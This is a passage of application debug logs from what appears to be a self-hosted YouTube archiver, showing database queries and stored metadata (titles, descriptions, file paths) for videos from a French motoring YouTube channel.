Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture, Il s'est cassé la gueule en moto sur le tournage et c'était ridicule - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Soutien moral de l'équipe : Cassandra Borie\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#motovlog #wheeling #pourtoi", "Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences", "3944aec5-2aea-4802-973a-8eddce77f25d", "iv8auLK2okk", 2480, false, "https://www.youtube.com/watch?v=iv8auLK2okk", 17, "/downloads/Père Chabrier/2024-11-22 Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences/Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences [iv8auLK2okk].mkv", false, false, false, 3, [], 98, ~U[2024-11-22 17:15:02Z], ~U[2026-04-20 04:34:25Z], ~U[2026-04-20 04:34:25Z], "Un énorme, ÉNORME, merci à Thibault et Jo de Cascades Expériences, des chics types. Pour leur donner de la force c'est ici : \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.youtube.com/@CascadesExperiences\n👉 https://www.cascadesexperiences.fr/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture, Il s'est cassé la gueule en moto sur le tournage et c'était ridicule - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Soutien moral de l'équipe : Cassandra Borie\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#motovlog #wheeling #pourtoi", "Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences", "iv8auLK2okk", 2480, false, "https://www.youtube.com/watch?v=iv8auLK2okk", "/downloads/Père Chabrier/2024-11-22 Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences/Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences [iv8auLK2okk].mkv", false, 3, ~U[2024-11-22 17:15:02Z]] 06:34:25.229 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=138.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:25.232 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.1ms idle=35.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:34:25.234 [debug] QUERY OK source="media_items" db=0.7ms idle=36.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [739] 06:34:25.234 [debug] Current batch of media processed. Will check again in 1000ms 06:34:26.236 [debug] Current batch of media processed. Will check again in 1000ms 06:34:27.237 [debug] Current batch of media processed. Will check again in 1000ms 06:34:28.238 [debug] Current batch of media processed. Will check again in 1000ms 06:34:28.847 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@Pierre_Chabrier --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Père Chabrier/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:4320,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/4d/11/4d11a6d1870cb3732aeed3ff55cf719b926da45137072de9d216aac4e46f9299.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/66/28/66280bf7ebe72444ae83ed991482b47687704c65cf17825c14b0a893e676859f.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 06:34:28.850 [debug] Gracefully stopping file follower 06:34:28.852 [debug] QUERY OK source="sources" db=1.2ms idle=1839.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:34:28.853 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=1841.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:28.856 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=1756.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-27 16:15:04Z], 3] 06:34:28.913 [debug] QUERY OK source="media_items" db=55.6ms queue=0.1ms idle=845.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand MERCI à VOUS mais aussi à Winamax, sans qui cette vidéo n'aurait pas été possible.\n\nD'ailleurs, Winamax te rembourse ton premier pari en CASH si celui-ci est perdant, dans la limite de 100 €, et t’offre un bonus de 10 € supplémentaires en CASH avec le code promo 👉 MOTO10\nIl vous suffit de passer par ce lien en y ajoutant le code promo :\n👉 https://www.winamax.fr/registration/landing/affiliation_Bonus100?banid=80151\n\n#publicitéwinamax (Offre réservée uniquement aux nouveaux joueurs n'ayant jamais créé de compte Winamax. Les 10 € vous seront crédités une fois que vous aurez finalisé votre inscription et effectué votre 1er dépôt. Cette offre n’est valable qu’une seule fois par utilisateur, terminal (ordinateur, tablette ou mobile), foyer ou compte bancaire.)\n\n⚠️ Les jeux d’argent sont strictement interdits aux mineurs. 🔞\u200B Jouer comporte des risques : endettement, dépendance... Appelez le 09-74-75-13-13 (appel non surtaxé).\n___________________________________\n\nUn ENORME merci à tous ceux qui ont contribué à la réalisation de cette vidéo, équipe technique, partenaires, amis....\n\nMerci à Thibault et Jo de CASCADES EXPERIENCES, donnez leur un max de force 👉 https://www.instagram.com/cascades_experiences/\nhttps://www.youtube.com/@CascadesExperiences/\nLe lien vers leur vidéo : https://youtu.be/PhayI1nZt-0\n\nMerci à Dafy Saint-Maximin pour le prêt de l'équipement moto et un max de sécu 👉 https://www.instagram.com/dafysaintmaximin/\nMerci à Delta Mics pour le prêt de la Talaria\nMerci à la piste TSF pour leur accueil\n\n- Chargée de production : Laurane Da Silva\n- Renfort prod : Cassandra Borie\n- Equipe image ENKOR FILMS : Raphaël Chiche, Vincent Cordier, Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Ingé son : Valentin Blavette - ENKOR FILMS https://www.enkorfilms.com\n- Dos d'âne : Ukr Renov Bat - https://ukrrenovbat.fr/\n- Sécurité : Protection Civile de l’Essonne\n- Ostéopathe : Laura \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Justin et Théo pour avoir apporté leur aide avec leurs gros bras, merci à Clem, merci à Laura, merci à Julien (même si là il a rien fait), merci à Oleks...\n\nEt merci à vous pour toutes ces années. Cette vidéo est pour vous.\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\n#dosdane #Cascade #pourtoi", "ON PREND UN DOS D'ÂNE À 110km/h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏", "00ce652a-386e-4f1d-bb5b-a15659bbff31", "G4uH_ANDk44", 2157, false, "https://www.youtube.com/watch?v=G4uH_ANDk44", 1, "/downloads/Père Chabrier/2025-06-27 ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏/ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏 [G4uH_ANDk44].mkv", false, false, false, 3, [], 98, ~U[2025-06-27 16:15:04Z], ~U[2026-04-20 04:34:28Z], ~U[2026-04-20 04:34:28Z], "Un grand MERCI à VOUS mais aussi à Winamax, sans qui cette vidéo n'aurait pas été possible.\n\nD'ailleurs, Winamax te rembourse ton premier pari en CASH si celui-ci est perdant, dans la limite de 100 €, et t’offre un bonus de 10 € supplémentaires en CASH avec le code promo 👉 MOTO10\nIl vous suffit de passer par ce lien en y ajoutant le code promo :\n👉 https://www.winamax.fr/registration/landing/affiliation_Bonus100?banid=80151\n\n#publicitéwinamax (Offre réservée uniquement aux nouveaux joueurs n'ayant jamais créé de compte Winamax. Les 10 € vous seront crédités une fois que vous aurez finalisé votre inscription et effectué votre 1er dépôt. Cette offre n’est valable qu’une seule fois par utilisateur, terminal (ordinateur, tablette ou mobile), foyer ou compte bancaire.)\n\n⚠️ Les jeux d’argent sont strictement interdits aux mineurs. 🔞\u200B Jouer comporte des risques : endettement, dépendance... Appelez le 09-74-75-13-13 (appel non surtaxé).\n___________________________________\n\nUn ENORME merci à tous ceux qui ont contribué à la réalisation de cette vidéo, équipe technique, partenaires, amis....\n\nMerci à Thibault et Jo de CASCADES EXPERIENCES, donnez leur un max de force 👉 https://www.instagram.com/cascades_experiences/\nhttps://www.youtube.com/@CascadesExperiences/\nLe lien vers leur vidéo : https://youtu.be/PhayI1nZt-0\n\nMerci à Dafy Saint-Maximin pour le prêt de l'équipement moto et un max de sécu 👉 https://www.instagram.com/dafysaintmaximin/\nMerci à Delta Mics pour le prêt de la Talaria\nMerci à la piste TSF pour leur accueil\n\n- Chargée de production : Laurane Da Silva\n- Renfort prod : Cassandra Borie\n- Equipe image ENKOR FILMS : Raphaël Chiche, Vincent Cordier, Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Ingé son : Valentin Blavette - ENKOR FILMS https://www.enkorfilms.com\n- Dos d'âne : Ukr Renov Bat - https://ukrrenovbat.fr/\n- Sécurité : Protection Civile de l’Essonne\n- Ostéopathe : Laura \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Justin et Théo pour avoir apporté leur aide avec leurs gros bras, merci à Clem, merci à Laura, merci à Julien (même si là il a rien fait), merci à Oleks...\n\nEt merci à vous pour toutes ces années. Cette vidéo est pour vous.\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\n#dosdane #Cascade #pourtoi", "ON PREND UN DOS D'ÂNE À 110km/h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏", "G4uH_ANDk44", 2157, false, "https://www.youtube.com/watch?v=G4uH_ANDk44", "/downloads/Père Chabrier/2025-06-27 ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏/ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏 [G4uH_ANDk44].mkv", false, 3, ~U[2025-06-27 16:15:04Z]] 06:34:28.916 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=812.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:28.919 [debug] QUERY OK source="media_items" db=1.9ms queue=0.3ms idle=65.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-20 16:15:05Z], 3] 06:34:28.923 [debug] QUERY OK source="media_items" db=2.7ms idle=66.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["- Le POWERPOINT preuves.ppt : 👉 https://docs.google.com/presentation/d/e/2PACX-1vSYysGHKwYqoaNCaJ99UgiuNmRLbqHnvJR_yrVVucSON3HgbATTYunHPAttFDYawCRgANvZKtH-2WKA/pub?start=false&loop=true&delayms=60000\n\n- Extrait complet - La Preuve du mensonge de Sylvain sur les cristaux : \n👉 https://youtu.be/AiqovEQ92L0\n\n___________________________________\n\n- Signalement PHAROS : 👉 https://www.internet-signalement.gouv.fr/PharosS1/\nEn cas d'idées trop noires vous pouvez appeler : - Le 31 14\n\nAide pour le cyber harcèlement : 👉 https://stop-cyberharcelement.fr/contacts_cyberharcelement/\n\nDeux associations luttant contre le harcèlement : \n👉 https://harcelement-aidez-moi.fr/soutenir-l-association\n👉 https://www.respectzone.org/\n\n___________________________________\n\nLes comptes où aller jeter un oeil pour un esprit plus critique : \n\n📲 - https://www.instagram.com/lesprit.critique/ \n📲 - https://www.instagram.com/psychologuenet/?hl=fr\n📲 - https://www.instagram.com/millennial.therapist/ ( pour les anglophones )\n📲 - https://www.instagram.com/edgar_yves/?hl=fr\n📲 - https://www.instagram.com/julien_avi_/\n📲 - https://www.instagram.com/ma.psychologue/\n📲 - https://www.instagram.com/maximehaulbert/\n📲 - https://www.instagram.com/thierry__lauret/\n\n___________________________________\n\nPour éviter toute attaque à leurs encontre je ne nommerai pas les remerciements mais un INFINI merci à toutes celles et ceux qui m'ont aidé d'une façon ou d'une autre dans mes projets. Merci aux soutiens, vous comptez énormément. \n\n_____________________________________\n\nTeaser de la vidéo de la semaine prochaine : 👉 https://youtu.be/8EtsOZ1e7BE\n\nMes autres réseaux pour des news :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n\nDes bisous et A+\n\n#Aplus #PREUVES #BonnesVacances", "A+ YouTube (et les PREUVES que vous attendiez)", "bf05204f-4248-4b44-80d0-666a542eb0e5", "qaKdf-ooBKc", 3490, false, "https://www.youtube.com/watch?v=qaKdf-ooBKc", 2, "/downloads/Père Chabrier/2025-06-20 A+ YouTube (et les PREUVES que vous attendiez)/A+ YouTube (et les PREUVES que vous attendiez) [qaKdf-ooBKc].mkv", false, false, false, 3, [], 98, ~U[2025-06-20 16:15:05Z], ~U[2026-04-20 04:34:28Z], ~U[2026-04-20 04:34:28Z], "- Le POWERPOINT preuves.ppt : 👉 https://docs.google.com/presentation/d/e/2PACX-1vSYysGHKwYqoaNCaJ99UgiuNmRLbqHnvJR_yrVVucSON3HgbATTYunHPAttFDYawCRgANvZKtH-2WKA/pub?start=false&loop=true&delayms=60000\n\n- Extrait complet - La Preuve du mensonge de Sylvain sur les cristaux : \n👉 https://youtu.be/AiqovEQ92L0\n\n___________________________________\n\n- Signalement PHAROS : 👉 https://www.internet-signalement.gouv.fr/PharosS1/\nEn cas d'idées trop noires vous pouvez appeler : - Le 31 14\n\nAide pour le cyber harcèlement : 👉 https://stop-cyberharcelement.fr/contacts_cyberharcelement/\n\nDeux associations luttant contre le harcèlement : \n👉 https://harcelement-aidez-moi.fr/soutenir-l-association\n👉 https://www.respectzone.org/\n\n___________________________________\n\nLes comptes où aller jeter un oeil pour un esprit plus critique : \n\n📲 - https://www.instagram.com/lesprit.critique/ \n📲 - https://www.instagram.com/psychologuenet/?hl=fr\n📲 - https://www.instagram.com/millennial.therapist/ ( pour les anglophones )\n📲 - https://www.instagram.com/edgar_yves/?hl=fr\n📲 - https://www.instagram.com/julien_avi_/\n📲 - https://www.instagram.com/ma.psychologue/\n📲 - https://www.instagram.com/maximehaulbert/\n📲 - https://www.instagram.com/thierry__lauret/\n\n___________________________________\n\nPour éviter toute attaque à leurs encontre je ne nommerai pas les remerciements mais un INFINI merci à toutes celles et ceux qui m'ont aidé d'une façon ou d'une autre dans mes projets. Merci aux soutiens, vous comptez énormément. \n\n_____________________________________\n\nTeaser de la vidéo de la semaine prochaine : 👉 https://youtu.be/8EtsOZ1e7BE\n\nMes autres réseaux pour des news :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n\nDes bisous et A+\n\n#Aplus #PREUVES #BonnesVacances", "A+ YouTube (et les PREUVES que vous attendiez)", "qaKdf-ooBKc", 3490, false, "https://www.youtube.com/watch?v=qaKdf-ooBKc", "/downloads/Père Chabrier/2025-06-20 A+ YouTube (et les PREUVES que vous attendiez)/A+ YouTube (et les PREUVES que vous attendiez) [qaKdf-ooBKc].mkv", false, 3, ~U[2025-06-20 16:15:05Z]] 06:34:28.924 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=67.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:28.926 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=12.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-30 16:15:05Z], 3] 06:34:28.930 [debug] QUERY OK source="media_items" db=2.3ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #quattro #pourtoi", "Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5", "c098e652-3acb-4bf2-8244-b93f81be089b", "o5a-gwm6QfU", 1546, false, "https://www.youtube.com/watch?v=o5a-gwm6QfU", 3, "/downloads/Père Chabrier/2025-05-30 Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5/Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5 [o5a-gwm6QfU].mkv", false, false, false, 3, [], 98, ~U[2025-05-30 16:15:05Z], ~U[2026-04-20 04:34:28Z], ~U[2026-04-20 04:34:28Z], "N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #quattro #pourtoi", "Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5", "o5a-gwm6QfU", 1546, false, "https://www.youtube.com/watch?v=o5a-gwm6QfU", "/downloads/Père Chabrier/2025-05-30 Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5/Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5 [o5a-gwm6QfU].mkv", false, 3, ~U[2025-05-30 16:15:05Z]] 06:34:28.931 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:28.934 [debug] QUERY OK source="media_items" db=2.0ms idle=9.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-23 16:15:07Z], 3] 06:34:28.937 [debug] QUERY OK source="media_items" db=2.6ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Encore merci au propriétaire pour le prêt de ce range du seigneur🙏\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Mathias Dargnat - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Cassandra pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#rangerover #v8 #pourtoi", "Le MAXIMUM tout simplement - Range Rover SV One", "2fb2b7f6-86cd-4826-9fe6-614fad630f6c", "zekzfyFML7o", 1860, false, "https://www.youtube.com/watch?v=zekzfyFML7o", 4, "/downloads/Père Chabrier/2025-05-23 Le MAXIMUM tout simplement - Range Rover SV One/Le MAXIMUM tout simplement - Range Rover SV One [zekzfyFML7o].mkv", false, false, false, 3, [], 98, ~U[2025-05-23 16:15:07Z], ~U[2026-04-20 04:34:28Z], ~U[2026-04-20 04:34:28Z], "Encore merci au propriétaire pour le prêt de ce range du seigneur🙏\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Mathias Dargnat - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Cassandra pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#rangerover #v8 #pourtoi", "Le MAXIMUM tout simplement - Range Rover SV One", "zekzfyFML7o", 1860, false, "https://www.youtube.com/watch?v=zekzfyFML7o", "/downloads/Père Chabrier/2025-05-23 Le MAXIMUM tout simplement - Range Rover SV One/Le MAXIMUM 